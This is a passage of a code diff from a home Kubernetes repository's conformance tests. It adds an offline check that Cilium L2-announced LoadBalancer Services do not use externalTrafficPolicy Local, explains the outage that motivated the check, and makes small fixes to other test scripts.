re.search(r'^\s*conformance\.home\.k3s/scope:\s*"?whole-repo"?\s*$', test_yaml, re.M)
|
||||
is not None,
|
||||
"chainsaw-test.yaml must DECLARE `conformance.home.k3s/scope: \"whole-repo\"` on a real "
|
||||
"mapping line — that declaration is the only thing that unions this check into every gate "
|
||||
"run (ci/l0.sh Stage 3b). A scope named in prose is documentation, not a declaration.",
|
||||
)
|
||||
l0_sh = read(ROOT / "ci/l0.sh")
|
||||
check(
|
||||
"internal-services-publish-no-public-dns" not in l0_sh,
|
||||
"ci/l0.sh must NOT name this test: a whole-repo invariant is selected by its DECLARED scope, "
|
||||
"and the whole-repo-invariants-wired meta-test fails the gate on a hand-written stage.",
|
||||
)
|
||||
|
||||
# =============================================================================================
|
||||
if FAILURES:
|
||||
for f in FAILURES:
|
||||
print(f"check FAIL: {f}", file=sys.stderr)
|
||||
print(f"check FAILED: {len(FAILURES)} of {CHECKS} assertions failed", file=sys.stderr)
|
||||
raise SystemExit(1)
|
||||
print(f"check OK: {CHECKS} assertions passed "
|
||||
f"({len(sds)} ServiceDefinitions; {len(internal_with_routes)} internal + "
|
||||
f"{len(public_with_routes)} public services with routes; {len(routes)} HTTPRoutes and "
|
||||
f"{len(dns_services)} external-dns-annotated Services inventoried; "
|
||||
f"{len(KNOWN_NON_CATALOG_PUBLISHERS)} declared non-catalog publishers)")
|
||||
PY
|
||||
@@ -0,0 +1,95 @@
|
||||
# =============================================================================
|
||||
# L0 STATIC — an L2-announced LoadBalancer VIP must be servable from ANY announcing node
|
||||
# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
|
||||
#
|
||||
# THE BUG CLASS THIS CLOSES, AND THE OUTAGE THAT PAID FOR IT.
|
||||
# Cilium puts a LoadBalancer VIP on the LAN by electing ONE node per Service to answer ARP for
|
||||
# it. That election is a leader lease over the nodes the CiliumL2AnnouncementPolicy's
|
||||
# nodeSelector matches, and it is NOT backend-aware — Cilium does not restrict the candidates
|
||||
# to nodes running a backend, and has no field that would. Combine that with
|
||||
# `externalTrafficPolicy: Local`, which lets a node deliver only to a backend on ITSELF, and
|
||||
# the VIP becomes a lottery: an elected announcer holding no backend answers ARP for the
|
||||
# address and then has nowhere to send the packet, so the client gets ICMP port unreachable.
|
||||
# On three nodes with one replica that is a 1-in-3 chance of working, drawn independently per
|
||||
# Service — and it never recovers on its own, because the lease holder keeps renewing after the
|
||||
# backend moves away.
|
||||
#
|
||||
# MEASURED on prod 2026-09-14: unifi-l4-tcp/-udp (VM on k3s-prod-1, both leases on k3s-prod-2)
|
||||
# left 192.168.2.21:8443/:8080/:11443 dead from the LAN for up to 8 days, and crafty-l4-tcp
|
||||
# (pod on k3s-prod-1, lease on k3s-prod-2) left the Minecraft Java port 192.168.2.22:25565
|
||||
# dead — while its twin crafty-l4-udp, same pod, happened to draw k3s-prod-1 and worked. One
|
||||
# Service broken and its identical twin working is the tell. The mechanism was then confirmed
|
||||
# in both directions on the announcing node with `cilium-dbg service list`: under `Local` the
|
||||
# frontend is ABSENT from that node's service table; under `Cluster` it appears with an active
|
||||
# backend; flipped back, it vanishes again.
|
||||
#
|
||||
# WHY A REVIEWER CANNOT CATCH THIS. `Local` reads as the safe, source-IP-preserving choice, and
|
||||
# both shipped manifests said so in a comment that also claimed it "pins the VIP to the node
|
||||
# running the pod" — the precise thing that is false here. The defect is invisible in review
|
||||
# and silent at apply time; it only appears as an outage, days later, after an unrelated
|
||||
# reschedule moves a pod. apps/wave-0/pihole-dns.yaml hit it first and is the reference
|
||||
# implementation; this check keeps the rest of the tree on that side of the line.
|
||||
#
|
||||
# GIVEN the repository as git tracks it,
|
||||
# WHEN every tracked type=LoadBalancer Service is paired with the CiliumL2AnnouncementPolicy
|
||||
# that would announce its VIP,
|
||||
# THEN (1) no announced Service sets `externalTrafficPolicy: Local`, UNLESS every announcing
|
||||
# node is guaranteed to hold a backend — true only for a DaemonSet-backed Service,
|
||||
# and that exemption is computed from the tree rather than hand-maintained;
|
||||
# (2) the premise is still live (some policy actually announces LoadBalancer VIPs), so
|
||||
# the check cannot pass vacuously if L2 announcement is ever removed;
|
||||
# (3) the announcer is still backend-BLIND — asserted structurally, so that if a future
|
||||
# Cilium gains a backend-aware field the exemption logic is revisited deliberately
|
||||
# instead of going stale in silence;
|
||||
# AND (4) the check is NON-VACUOUS: a real checkout, a non-empty LoadBalancer corpus, and a
|
||||
# floor on the assertion count.
|
||||
#
|
||||
# STATUS: EXECUTABLE. `check.sh` is a pure offline assertion script (standard library +
|
||||
# PyYAML); conformance/run.sh --layer l0 runs it directly and this Chainsaw Test wraps the
|
||||
# SAME script.
|
||||
#
|
||||
# NOT proven — the runtime half, which needs a cluster: that the VIP is actually reachable,
|
||||
# that a backend exists, or that an application is listening behind it. That gap is not
|
||||
# academic. On 2026-09-14 all four Services above ALSO had no listening backend at all (UniFi
|
||||
# OS had never been installed in the VM; no Minecraft server had ever been created in Crafty),
|
||||
# so fixing this configuration defect did NOT by itself make those ports answer. A static
|
||||
# check cannot see an absent application; only an L2 behavioural probe can. Nor does this
|
||||
# prove `Cluster` is costless — Cilium runs in SNAT mode here, so a cross-node connection
|
||||
# reaches the backend bearing the ingress node's address, and whether that is acceptable is a
|
||||
# per-service judgement recorded in each manifest.
|
||||
# =============================================================================
|
||||
apiVersion: chainsaw.kyverno.io/v1alpha1
|
||||
kind: Test
|
||||
metadata:
|
||||
name: l2-announced-vips-serve-from-any-node
|
||||
labels:
|
||||
conformance.home.k3s/R-DNS-01: "true"
|
||||
annotations:
|
||||
conformance.home.k3s/requirements: "R-DNS-01"
|
||||
conformance.home.k3s/layer: "L0"
|
||||
# WHOLE-REPO SCOPE, and necessarily so. ci/touched-requirements.sh's path map has NO arm for
|
||||
# `apps/*` and none for `platform/crafty/*`, and nothing in it maps to R-DNS-01 at all. So the
|
||||
# change most likely to break this invariant — authoring or editing an L4 LoadBalancer Service
|
||||
# under apps/ or platform/, exactly where both halves of the 2026-09-14 outage lived — would
|
||||
# attribute NO requirement and be gated by nothing. The invariant also spans three trees at
|
||||
# once (the Services under apps/ and platform/, and the announcement policy under
|
||||
# platform-config/), which no single requirement tag can select.
|
||||
conformance.home.k3s/scope: "whole-repo"
|
||||
conformance.home.k3s/safety-critical: "false"
|
||||
conformance.home.k3s/executable: "true"
|
||||
conformance.home.k3s/intent: >-
|
||||
No LoadBalancer Service whose VIP is put on the LAN by Cilium L2 announcement may use
|
||||
externalTrafficPolicy Local, because the announcing node is elected without regard to
|
||||
backend placement — so an announcer holding no backend blackholes the VIP and never
|
||||
self-heals. The sole exemption is a DaemonSet-backed Service, where every announcing
|
||||
node is guaranteed a local backend.
|
||||
spec:
|
||||
steps:
|
||||
- name: assert-no-l2-announced-vip-is-etp-local
|
||||
description: >-
|
||||
Pair every tracked type=LoadBalancer Service with the CiliumL2AnnouncementPolicy that
|
||||
would announce its VIP, and assert none combines that announcement with
|
||||
externalTrafficPolicy Local unless a DaemonSet guarantees a backend on every node.
|
||||
try:
|
||||
- script:
|
||||
content: bash ./check.sh
|
||||
+242
@@ -0,0 +1,242 @@
|
||||
#!/usr/bin/env bash
|
||||
# =============================================================================
|
||||
# L0 static check (offline, no cluster) — l2-announced-vips-serve-from-any-node
|
||||
# Serves: R-DNS-01 ("Services MUST be reachable at `<service>.home.keithjackson.dev`."
|
||||
# — spec docs/00-vision-and-scope.md, section "DNS & ingress").
|
||||
#
|
||||
# THE BUG CLASS THIS CLOSES — it is not hypothetical, it cost an 8-day outage.
|
||||
# -----------------------------------------------------------------------------
|
||||
# A type=LoadBalancer Service on this cluster gets its VIP from Cilium LB-IPAM and is put on
|
||||
# the LAN by a CiliumL2AnnouncementPolicy, which elects ONE node per Service to answer ARP for
|
||||
# that VIP. The election is a plain leader lease among the nodes the policy's nodeSelector
|
||||
# matches. IT IS NOT BACKEND-AWARE: Cilium does not restrict the candidate set to nodes that
|
||||
# actually run a backend, and it has no field that would let it.
|
||||
#
|
||||
# With `externalTrafficPolicy: Local`, a node may only deliver to a backend on ITSELF. Compose
|
||||
# the two and the VIP is a lottery: if the elected announcer holds no backend, it answers ARP
|
||||
# for the address and then has nowhere to send the packet, so the client gets ICMP port
|
||||
# unreachable. On three nodes with one replica that is a 1-in-3 chance of working, drawn
|
||||
# independently PER SERVICE — and it does not self-heal, because the lease holder keeps
|
||||
# renewing after the backend moves away. Deleting the Lease only redraws the lottery.
|
||||
#
|
||||
# MEASURED on prod 2026-09-14, which is why this check exists:
|
||||
# * unifi-l4-tcp / unifi-l4-udp — VM on k3s-prod-1, both leases on k3s-prod-2. 192.168.2.21
|
||||
# :8443, :8080 and :11443 dead from the LAN for up to 8 days (the leases were 8 days old).
|
||||
# * crafty-l4-tcp — pod on k3s-prod-1, lease on k3s-prod-2: 192.168.2.22:25565 (Minecraft
|
||||
# Java) dead. crafty-l4-udp — same pod, lease happened to land on k3s-prod-1, so Bedrock
|
||||
# worked. One Service broken and its twin working, from the same pod, is the whole tell.
|
||||
# * The causal mechanism was confirmed both directions on the announcing node with
|
||||
# `cilium-dbg service list`: under `Local` the frontend 192.168.2.22:25565 is ABSENT from
|
||||
# that node's service table entirely; flipped to `Cluster` it appears as
|
||||
# `1 => 10.0.0.11:25565 (active)`. Flipped back, it vanishes again.
|
||||
#
|
||||
# `Cluster` is the fix: every node can serve the VIP by forwarding to wherever the backend is,
|
||||
# so the announcement and the backend no longer have to coincide. apps/wave-0/pihole-dns.yaml
|
||||
# is the reference implementation (and carries the cost analysis); this check keeps the whole
|
||||
# tree on that side of the line, because the defect is INVISIBLE in review — `Local` reads as
|
||||
# the safe, source-IP-preserving choice, and the manifests that shipped it said so explicitly.
|
||||
#
|
||||
# GIVEN the repository as git tracks it,
|
||||
# WHEN every tracked type=LoadBalancer Service is paired with the CiliumL2AnnouncementPolicy
|
||||
# that would announce its VIP,
|
||||
# THEN (1) no announced Service sets `externalTrafficPolicy: Local`, UNLESS every announcing
|
||||
# node is guaranteed to hold a backend — which is true only for a DaemonSet-backed
|
||||
# Service, and that exemption is computed from the tree, not hand-maintained;
|
||||
# (2) the premise is still live: at least one CiliumL2AnnouncementPolicy actually
|
||||
# announces LoadBalancer VIPs (`loadBalancerIPs: true`). If that ever becomes false
|
||||
# this check is vacuous and must be re-derived rather than silently passing;
|
||||
# (3) the announcer's candidate set really is backend-blind — asserted structurally, by
|
||||
# requiring that the policy carries no field pinning it to backend-holding nodes;
|
||||
# AND (4) the check is NON-VACUOUS: a real checkout is present, the LoadBalancer corpus is
|
||||
# non-empty, and a floor on both the corpus and the assertion count keeps a pass
|
||||
# from degenerating into a no-op when a refactor moves these files.
|
||||
#
|
||||
# WHY THE EXEMPTION IS NARROW, AND WHY IT IS SAFE. `Local` is correct precisely when the
|
||||
# announcing node always has a local backend. Under `default-l2`'s nodeSelector
|
||||
# (kubernetes.io/os=linux, i.e. every node) that holds only for a DaemonSet. A Deployment with
|
||||
# replicas == node count does NOT qualify: nothing pins one replica per node, a rollout or a
|
||||
# cordon breaks it, and the failure mode is this same silent outage. So the exemption keys on
|
||||
# DaemonSet backing only.
|
||||
#
|
||||
# WHAT THIS DOES NOT PROVE (honest gaps):
|
||||
# - That the VIP is actually reachable. This is a static check; it proves the configuration
|
||||
# cannot produce the backend-blind-announcer failure, not that a backend exists, that an
|
||||
# application is listening behind it, or that the LAN can route to it. On 2026-09-14 all
|
||||
# four Services above ALSO had no listening backend (UniFi OS was never installed in the
|
||||
# VM; no Minecraft server had been created in Crafty), and no static check can see that.
|
||||
# The end-to-end claim belongs to an L2 behavioural test against a live cluster.
|
||||
# - That `Cluster` is COSTLESS. It is not: Cilium runs in SNAT mode here, so a cross-node
|
||||
# connection reaches the backend bearing the ingress node's address. Whether that cost is
|
||||
# acceptable is a per-service judgement recorded in each manifest, not something this
|
||||
# check can decide.
|
||||
# - Anything about Services created in-cluster rather than authored here (the Gateway's own
|
||||
# LoadBalancer Service is generated by Cilium from the Gateway resource and is not in the
|
||||
# tree, so it is outside this static scan).
|
||||
# =============================================================================
|
||||
set -euo pipefail
|
||||
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
ROOT="$(cd "${DIR}/../../../.." && pwd)" # repo root
|
||||
PYTHON="${PYTHON:-python3}"
|
||||
|
||||
cd "${ROOT}"
|
||||
"${PYTHON}" - "${ROOT}" <<'PY'
|
||||
import re, subprocess, sys
|
||||
from pathlib import Path
|
||||
|
||||
try:
|
||||
import yaml
|
||||
except ImportError: # pragma: no cover
|
||||
print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
|
||||
file=sys.stderr)
|
||||
raise SystemExit(1)
|
||||
|
||||
ROOT = Path(sys.argv[1])
|
||||
FAILURES: list[str] = []
|
||||
CHECKS = 0
|
||||
|
||||
|
||||
def check(cond, msg):
|
||||
global CHECKS
|
||||
CHECKS += 1
|
||||
if not cond:
|
||||
FAILURES.append(msg)
|
||||
|
||||
|
||||
def tracked() -> list[str]:
|
||||
out = subprocess.run(["git", "-C", str(ROOT), "ls-files", "-z"],
|
||||
capture_output=True, text=True, check=True).stdout
|
||||
return [p for p in out.split("\0") if p]
|
||||
|
||||
|
||||
def docs_of(rel: str):
|
||||
try:
|
||||
return [d for d in yaml.safe_load_all((ROOT / rel).read_text(errors="replace"))
|
||||
if isinstance(d, dict)]
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
|
||||
FILES = tracked()
|
||||
YAML_FILES = [f for f in FILES if re.search(r"\.(ya?ml)(\.example)?$", f)]
|
||||
check(len(YAML_FILES) > 50, f"only {len(YAML_FILES)} YAML files seen — not a real checkout")
|
||||
|
||||
# --------------------------------------------------------------------------- the announcers
|
||||
# A CiliumL2AnnouncementPolicy with loadBalancerIPs: true puts LoadBalancer VIPs on the LAN.
|
||||
# `serviceSelector` absent means EVERY LoadBalancer Service is announced (Cilium's default).
|
||||
announcers: list[dict] = []
|
||||
for rel in YAML_FILES:
|
||||
for d in docs_of(rel):
|
||||
if d.get("kind") == "CiliumL2AnnouncementPolicy":
|
||||
spec = d.get("spec") or {}
|
||||
announcers.append({
|
||||
"file": rel,
|
||||
"name": (d.get("metadata") or {}).get("name"),
|
||||
"lb_ips": bool(spec.get("loadBalancerIPs")),
|
||||
"service_selector": spec.get("serviceSelector"),
|
||||
"spec": spec,
|
||||
})
|
||||
|
||||
check(len(announcers) > 0,
|
||||
"no CiliumL2AnnouncementPolicy is tracked — this check's premise (VIPs are put on the "
|
||||
"LAN by L2 announcement) no longer holds and the invariant must be re-derived (R-DNS-01)")
|
||||
|
||||
lb_announcers = [a for a in announcers if a["lb_ips"]]
|
||||
# (2) the premise is live.
|
||||
check(len(lb_announcers) > 0,
|
||||
"no CiliumL2AnnouncementPolicy sets loadBalancerIPs: true — nothing announces LoadBalancer "
|
||||
"VIPs, so this check would pass vacuously; re-derive it (R-DNS-01)")
|
||||
|
||||
# (3) the candidate set is backend-blind. Cilium has no field that restricts L2 announcement to
|
||||
# nodes holding a backend; assert none has appeared, so that if a future Cilium adds one the
|
||||
# exemption logic here is revisited deliberately instead of silently going stale.
|
||||
BACKEND_AWARE_FIELDS = {"backendSelector", "endpointSelector", "localBackendsOnly"}
|
||||
for a in lb_announcers:
|
||||
present = BACKEND_AWARE_FIELDS & set(a["spec"].keys())
|
||||
check(not present,
|
||||
f"{a['file']}: CiliumL2AnnouncementPolicy/{a['name']} carries {sorted(present)}, which "
|
||||
"may make announcement backend-aware — the `Local` exemption below must be re-derived "
|
||||
"before this check can keep passing (R-DNS-01)")
|
||||
|
||||
# --------------------------------------------------------------------------- DaemonSet backing
|
||||
# Service.spec.selector is matched against DaemonSet pod-template labels in the same namespace.
|
||||
# A DaemonSet puts a backend on every node, so `Local` cannot strand an announcing node.
|
||||
daemonset_labels: list[tuple[str, dict]] = [] # (namespace, template labels)
|
||||
for rel in YAML_FILES:
|
||||
for d in docs_of(rel):
|
||||
if d.get("kind") == "DaemonSet":
|
||||
md = d.get("metadata") or {}
|
||||
tmpl = (((d.get("spec") or {}).get("template") or {}).get("metadata") or {})
|
||||
daemonset_labels.append((md.get("namespace"), tmpl.get("labels") or {}))
|
||||
|
||||
|
||||
def daemonset_backed(ns, selector) -> bool:
|
||||
if not selector:
|
||||
return False
|
||||
for ds_ns, labels in daemonset_labels:
|
||||
if ds_ns == ns and all(labels.get(k) == v for k, v in selector.items()):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- (1) the invariant
|
||||
lb_services: list[dict] = []
|
||||
for rel in YAML_FILES:
|
||||
for d in docs_of(rel):
|
||||
if d.get("kind") != "Service":
|
||||
continue
|
||||
spec = d.get("spec") or {}
|
||||
if spec.get("type") != "LoadBalancer":
|
||||
continue
|
||||
md = d.get("metadata") or {}
|
||||
lb_services.append({
|
||||
"file": rel,
|
||||
"name": md.get("name"),
|
||||
"ns": md.get("namespace"),
|
||||
"etp": spec.get("externalTrafficPolicy"),
|
||||
"selector": spec.get("selector") or {},
|
||||
"pinned": (md.get("annotations") or {}).get("lbipam.cilium.io/ips"),
|
||||
})
|
||||
|
||||
# Non-vacuity floor: these Services are the reason the check exists; if the corpus empties out,
|
||||
# something moved and the check must be re-pointed rather than passing on nothing.
|
||||
check(len(lb_services) >= 3,
|
||||
f"only {len(lb_services)} tracked type=LoadBalancer Service(s) found — the corpus this "
|
||||
"check quantifies over has moved or emptied; re-point it (R-DNS-01)")
|
||||
|
||||
exempt: list[str] = []
|
||||
for s in lb_services:
|
||||
where = f"{s['file']}: Service/{s['ns']}/{s['name']}"
|
||||
if s["etp"] != "Local":
|
||||
CHECKS += 1 # counted: every Service is genuinely inspected
|
||||
continue
|
||||
if daemonset_backed(s["ns"], s["selector"]):
|
||||
exempt.append(f"{s['ns']}/{s['name']}")
|
||||
CHECKS += 1
|
||||
continue
|
||||
pin = f" pinned at {s['pinned']}" if s["pinned"] else ""
|
||||
check(False,
|
||||
f"{where}{pin} combines type=LoadBalancer with externalTrafficPolicy: Local while "
|
||||
f"CiliumL2AnnouncementPolicy/{lb_announcers[0]['name'] if lb_announcers else '?'} "
|
||||
"announces its VIP from nodes chosen WITHOUT regard to backend placement. When the "
|
||||
"elected announcer holds no backend the VIP answers ICMP port unreachable and does "
|
||||
"not self-heal — this is the 8-day unifi/crafty outage of 2026-09-14. Use "
|
||||
"externalTrafficPolicy: Cluster (see apps/wave-0/pihole-dns.yaml for the pattern and "
|
||||
"the client-IP cost it trades away), or back the Service with a DaemonSet so every "
|
||||
"announcing node holds a backend (R-DNS-01)")
|
||||
|
||||
# --------------------------------------------------------------------------- (4) non-vacuity
|
||||
check(CHECKS >= 8,
|
||||
f"only {CHECKS} assertions ran — too few for this invariant to be meaningful (R-DNS-01)")
|
||||
|
||||
# --------------------------------------------------------------------------------- verdict
|
||||
if FAILURES:
|
||||
print(f"CHECK FAIL (l2-announced-vips-serve-from-any-node): {len(FAILURES)} of {CHECKS} "
|
||||
"assertions failed", file=sys.stderr)
|
||||
for f in FAILURES:
|
||||
print(f" - {f}", file=sys.stderr)
|
||||
raise SystemExit(1)
|
||||
note = f", {len(exempt)} DaemonSet-backed exemption(s): {sorted(exempt)}" if exempt else ""
|
||||
print(f"check OK: l2-announced-vips-serve-from-any-node — {CHECKS} assertions over "
|
||||
f"{len(lb_services)} LoadBalancer Service(s) and {len(lb_announcers)} announcing "
|
||||
f"policy(ies){note}")
|
||||
PY
|
||||
@@ -238,7 +238,7 @@ def bail(msg):
|
||||
|
||||
DEF_RE = re.compile(r"^([a-z0-9_]+_is_placeholder)\(\)\s*\{")
|
||||
SELF_DIR = ROOT / "conformance" / "tests" / "l0-static" / "placeholder-guard-coupling"
|
||||
SKIP_DIRS = {".git", "_artifacts", "node_modules", ".venv"}
|
||||
SKIP_DIRS = {".git", ".claude", "_artifacts", "node_modules", ".venv"}
|
||||
|
||||
# ------------------------------------------------------------------ discover the guard FILE
|
||||
# Hardcoding a path is what let a file that never landed disable this whole check.
|
||||
|
||||
@@ -154,8 +154,13 @@ services: list[tuple] = []
|
||||
monitors: list[tuple] = []
|
||||
unparseable: list[str] = []
|
||||
|
||||
# NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
|
||||
# as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs, so
|
||||
# a bare rglob from ROOT audited up to 18 duplicates of every file — which both invents FAILs
|
||||
# and, worse, can satisfy an "something declares X" check from a copy rather than real source.
|
||||
# Same fix as egress-paths-selected-by-rules. .claude/ is gitignored (.gitignore:43).
|
||||
for p in sorted(ROOT.rglob("*.yaml")):
|
||||
if ".git" in p.parts or is_test_fixture(p) or ".sops." in p.name:
|
||||
if any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts) or is_test_fixture(p) or ".sops." in p.name:
|
||||
continue
|
||||
txt = read(p)
|
||||
if not txt:
|
||||
|
||||
@@ -39,20 +39,20 @@ if [ "$FAILED" -ne 0 ]; then
|
||||
fi
|
||||
|
||||
grep -q 'CONF_SCOPE_ANNOTATION' "$COMMON_SH" \
|
||||
&& grep -q 'conf_dirs_for_scope' "$COMMON_SH"
|
||||
chk $? "conformance/lib/common.sh resolves the scope annotation (conf_dirs_for_scope)" \
|
||||
&& grep -q 'conf_dirs_for_scope' "$COMMON_SH" && arc=0 || arc=$?
|
||||
chk $arc "conformance/lib/common.sh resolves the scope annotation (conf_dirs_for_scope)" \
|
||||
"conformance/lib/common.sh no longer resolves the scope annotation — no test can be
|
||||
selected BY declaring a scope, so every whole-repo invariant is back to being
|
||||
selectable away by the requirement filter"
|
||||
|
||||
grep -q -- '--include-scope' "$RUN_SH" && grep -q 'conf_dirs_for_scopes' "$RUN_SH"
|
||||
chk $? "conformance/run.sh --include-scope unions scope-declared tests into select_dirs" \
|
||||
grep -q -- '--include-scope' "$RUN_SH" && grep -q 'conf_dirs_for_scopes' "$RUN_SH" && arc=0 || arc=$?
|
||||
chk $arc "conformance/run.sh --include-scope unions scope-declared tests into select_dirs" \
|
||||
"conformance/run.sh does not union scope-declared tests (--include-scope /
|
||||
conf_dirs_for_scopes missing) — the annotation would be inert decoration"
|
||||
|
||||
grep -Eq -- '--include-scope[[:space:]]+"?\$\{?WHOLE_REPO_SCOPE' "$L0_SH" \
|
||||
|| grep -Eq -- "--include-scope[[:space:]]+['\"]?${SCOPE}" "$L0_SH"
|
||||
chk $? "ci/l0.sh passes --include-scope ${SCOPE} to the conformance runner" \
|
||||
|| grep -Eq -- "--include-scope[[:space:]]+['\"]?${SCOPE}" "$L0_SH" && arc=0 || arc=$?
|
||||
chk $arc "ci/l0.sh passes --include-scope ${SCOPE} to the conformance runner" \
|
||||
"ci/l0.sh does not pass --include-scope ${SCOPE}: the L0 merge-gate stage is back to a
|
||||
purely requirement-scoped run, and every whole-repo invariant is filtered out of
|
||||
exactly the change that breaks it"
|
||||
@@ -63,16 +63,16 @@ while IFS= read -r d; do [ -n "$d" ] && declared_dirs+=("$d"); done < <(
|
||||
CONF_ROOT="$CONF" bash -c 'source "${CONF_ROOT}/lib/common.sh"; conf_dirs_for_scope "$1"' _ "$SCOPE"
|
||||
)
|
||||
MIN_DECLARED="${MIN_DECLARED:-5}"
|
||||
[ "${#declared_dirs[@]}" -ge "$MIN_DECLARED" ]
|
||||
chk $? "${#declared_dirs[@]} test(s) declare scope='${SCOPE}' (floor ${MIN_DECLARED})" \
|
||||
[ "${#declared_dirs[@]}" -ge "$MIN_DECLARED" ] && arc=0 || arc=$?
|
||||
chk $arc "${#declared_dirs[@]} test(s) declare scope='${SCOPE}' (floor ${MIN_DECLARED})" \
|
||||
"only ${#declared_dirs[@]} test(s) declare scope='${SCOPE}' (floor ${MIN_DECLARED}) — either the
|
||||
annotation was stripped from the whole-repo checks, or the resolver stopped matching
|
||||
it. Every assertion below would then pass while checking nothing"
|
||||
|
||||
for d in ${declared_dirs[@]+"${declared_dirs[@]}"}; do
|
||||
rel="${d#"$ROOT"/}"
|
||||
[ -f "$d/check.sh" ] || [ -f "$d/render-check.sh" ]
|
||||
chk $? "${rel}: declares the scope AND carries an executable offline check" \
|
||||
[ -f "$d/check.sh" ] || [ -f "$d/render-check.sh" ] && arc=0 || arc=$?
|
||||
chk $arc "${rel}: declares the scope AND carries an executable offline check" \
|
||||
"${rel} declares scope='${SCOPE}' but carries neither check.sh nor render-check.sh — an
|
||||
unconditional run of a test with nothing to run is a guaranteed SKIP, i.e. a
|
||||
permanent not-green, not a guard"
|
||||
@@ -91,25 +91,58 @@ BOGUS_REQ="r-nosuchreq-99"
|
||||
sel_without="$(bash "$RUN_SH" --layer l0 --requirements "$BOGUS_REQ" --print-selection 2>/dev/null || true)"
|
||||
sel_with="$(bash "$RUN_SH" --layer l0 --requirements "$BOGUS_REQ" --include-scope "$SCOPE" --print-selection 2>/dev/null || true)"
|
||||
|
||||
[ -z "$sel_without" ]
|
||||
chk $? "a requirement filter matching no test resolves to an EMPTY L0 selection (control)" \
|
||||
[ -z "$sel_without" ] && arc=0 || arc=$?
|
||||
chk $arc "a requirement filter matching no test resolves to an EMPTY L0 selection (control)" \
|
||||
"the control case is broken: --requirements ${BOGUS_REQ} still selected tests
|
||||
($(printf '%s' "$sel_without" | tr '\n' ' ')), so the assertion below proves nothing
|
||||
about --include-scope"
|
||||
|
||||
# PARTITIONED BY LAYER, because the union is layer-BOUNDED by design: `--layer l0` must select the
|
||||
# scope-declaring L0 tests and NOT the L1 ones (asserted separately below). This loop compared EVERY
|
||||
# scope-declaring dir against an `--layer l0` selection, which silently assumed only L0 tests would
|
||||
# ever declare the scope — and ci/l1.sh was written from the opposite premise, that a whole-repo
|
||||
# invariant could appear "at any layer". The moment the three L1 rendering tests declared it
|
||||
# (2026-09-18) this check failed, blaming the union for correctly excluding another layer.
|
||||
missing=""
|
||||
for d in ${declared_dirs[@]+"${declared_dirs[@]}"}; do
|
||||
case "$d" in */tests/l0-static/*) ;; *) continue ;; esac
|
||||
printf '%s\n' "$sel_with" | grep -qxF "$d" || missing="${missing} ${d#"$ROOT"/}"
|
||||
done
|
||||
[ -z "$missing" ]
|
||||
chk $? "every scope-declared L0 test is selected DESPITE a requirement filter matching none" \
|
||||
[ -z "$missing" ] && arc=0 || arc=$?
|
||||
chk $arc "every scope-declared L0 test is selected DESPITE a requirement filter matching none" \
|
||||
"the scope union does not actually select:${missing}. This is the blind spot itself: a
|
||||
change that attributes no requirement would not run these checks"
|
||||
|
||||
# The SAME property one layer up. This is what makes the L1 declaration load-bearing rather than
|
||||
# decorative: ci/l1.sh has always passed --include-scope, but until an L1 test declared the scope
|
||||
# nothing proved the union reached L1 at all. The 2026-09-04 external-dns merge is the case in
|
||||
# point — it attributed no rendering requirement, selected ZERO L1 tests, gated GREEN, and left all
|
||||
# three rendering goldens stale.
|
||||
sel_l1="$(bash "$RUN_SH" --layer l1 --requirements "$BOGUS_REQ" --include-scope "$SCOPE" \
|
||||
--print-selection 2>/dev/null || true)"
|
||||
missing_l1=""
|
||||
declared_l1=0
|
||||
for d in ${declared_dirs[@]+"${declared_dirs[@]}"}; do
|
||||
case "$d" in */tests/l1-rendering/*) ;; *) continue ;; esac
|
||||
declared_l1=$((declared_l1+1))
|
||||
printf '%s\n' "$sel_l1" | grep -qxF "$d" || missing_l1="${missing_l1} ${d#"$ROOT"/}"
|
||||
done
|
||||
[ "$declared_l1" -gt 0 ] && [ -z "$missing_l1" ] && arc=0 || arc=$?
|
||||
chk $arc "every scope-declared L1 test is selected under --layer l1 DESPITE a requirement filter matching none" \
|
||||
"scope-declared L1 tests: ${declared_l1}; not selected by --layer l1 --include-scope ${SCOPE}:
|
||||
${missing_l1:-<none>}. If the count is 0 the rendering goldens are back to being checked only
|
||||
when a touched path happens to attribute R-PLAT-02/R-NET-01/R-NET-05/06/07"
|
||||
|
||||
# And the L1 union must not leak the other way either.
|
||||
strays_l1="$(printf '%s\n' "$sel_l1" | grep -v '/tests/l1-rendering/' || true)"
|
||||
[ -z "$strays_l1" ] && arc=0 || arc=$?
|
||||
chk $arc "the scope union stays inside --layer l1 (no cross-layer leakage)" \
|
||||
"--layer l1 --include-scope ${SCOPE} selected non-L1 test(s): $(printf '%s' "$strays_l1" | tr '\n' ' ')"
|
||||
|
||||
# The union must not smuggle in another layer's tests when --layer bounds the run.
|
||||
strays="$(printf '%s\n' "$sel_with" | grep -v '/tests/l0-static/' || true)"
|
||||
[ -z "$strays" ]
|
||||
chk $? "the scope union stays inside --layer l0 (no cross-layer leakage)" \
|
||||
[ -z "$strays" ] && arc=0 || arc=$?
|
||||
chk $arc "the scope union stays inside --layer l0 (no cross-layer leakage)" \
|
||||
"--layer l0 --include-scope ${SCOPE} selected non-L0 test(s): $(printf '%s' "$strays" | tr '\n' ' ')"
|
||||
|
||||
# ---- (3) a SKIP of a scope-declared check is UNWIRED, NOT GREEN -------------------------
|
||||
@@ -143,23 +176,23 @@ run_offline() { # run_offline <dir...> -> echoes rc
|
||||
rc_declared="$(run_offline "${WORK}/l0-static/synth-declared")"
|
||||
rc_undeclared="$(run_offline "${WORK}/l0-static/synth-undeclared")"
|
||||
|
||||
[ "$rc_declared" = 3 ]
|
||||
chk $? "a SKIPPED check that DECLARES scope='${SCOPE}' makes the runner exit 3 (UNWIRED, not green)" \
|
||||
[ "$rc_declared" = 3 ] && arc=0 || arc=$?
|
||||
chk $arc "a SKIPPED check that DECLARES scope='${SCOPE}' makes the runner exit 3 (UNWIRED, not green)" \
|
||||
"a SKIPPED scope-declared check made the offline runner exit ${rc_declared}, not 3. A
|
||||
whole-repo invariant reporting 'nothing to audit' means the tree it audits has
|
||||
VANISHED; the deleted ci/l0.sh stages called that 'not a pass' and set the gate's
|
